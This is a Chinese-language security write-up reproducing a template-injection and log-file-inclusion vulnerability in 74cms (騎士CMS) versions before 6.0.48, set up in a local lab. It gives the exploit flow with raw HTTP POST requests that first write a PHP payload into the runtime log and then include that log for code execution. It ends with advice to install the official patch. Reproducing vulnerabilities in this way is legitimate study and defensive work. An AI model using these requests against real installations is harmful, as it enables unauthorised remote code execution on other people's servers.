騎士CMS模版注入+文件包含getshell漏洞復現
VSole2021-07-03 08:14:26
一、騎士CMS簡介
騎士人才系統,是一項基于 PHP+MYSQL 為核心開發的一套 免費+開源 專業人才招聘系統,使用了ThinkPHP框架(3.2.3);由太原迅易科技有限公司于2009年正式推出。為個人求職和企業招聘提供信息化解決方案, 騎士人才系統具備執行效率高、模板切換自由、后臺管理功能靈活、模塊功能強大等特點,自上線以來一直是職場人士、企業HR青睞的求職招聘平臺。
經過7年的發展,騎士人才系統已成國內人才系統行業的排頭兵。系統應用涉及政府、企業、科研教育和媒體等行業領域,用戶已覆蓋國內所有省份和地區。2016年全新推出騎士人才系統基礎版,全新的“平臺+插件”體系,打造用戶“DIY”個性化功能定制,為眾多地方門戶、行業人才提供一個專業、穩定、方便的網絡招聘管理平臺,致力發展成為引領市場風向的優質高效的招聘軟件
二、環境搭建
此次采用
windows10+Nginx+MySQL+PHP,使用phpstudy進行的環境配置,注意PHP版本最好使用 PHP 5.5及以上,MySQL版本 5.7.6及以上,我這里使用PHP版本5.4.45
然后這里放一下騎士cms的下載鏈接:
https://pan.hallolck.com/s/y06I6
三、安裝過程




四、漏洞概述
官方公告地址
http://www.74cms.com/news/show-2497.html
/Application/Common/Controller/BaseController.class.php
文件的assign_resume_tpl函數因為過濾不嚴格,導致了模板注入,可以進行遠程命令執行
影響版本:騎士CMS < 6.0.48>
五、漏洞復現
寫入日志
POST參數:
http://your-ip/index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl= phpinfo(); ob_flush();?>/r/n"info" 企業id="$_GET['id']"/>
我們來POST一下看看
POST /74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1Host: 192.168.1.6Content-Length: 98Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://192.168.1.6/74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tplDNT: 1Connection: closeCookie: PHPSESSID=vj12p9l3pnqkc09ostum5m7mfu; think_language=zh-CN; think_template=defaultUpgrade-Insecure-Requests: 1Cache-Control: max-age=0variable=1&tpl=/r/n
可以看到返回了錯誤,日志已經記錄了

我們來翻一下日志
日志路徑: \upload\data\Runtime\Logs\Home
成功寫入

接下來我們嘗試包含日志,日志名稱就是測試當天的年月日
包含日志
POST參數:
http://your-ip/index.php?m=home&a=assign_resume_tpl POST: variable=1&tpl=data/Runtime/Logs/Home/20_12_22.log
我們來POST一下看看
POST /74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1Host: 192.168.1.6Content-Length: 52Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://192.168.1.6/74cmsv6.0.20/upload/index.php?m=home&a=assign_resume_tplDNT: 1Connection: closeCookie: PHPSESSID=vj12p9l3pnqkc09ostum5m7mfu; think_language=zh-CN; think_template=defaultUpgrade-Insecure-Requests: 1Cache-Control: max-age=0 variable=1&tpl=./data/Runtime/Logs/Home/21_07_01.log

六、修復建議
下載官方最新補丁包
http://www.74cms.com/download/index.html
VSole
網絡安全專家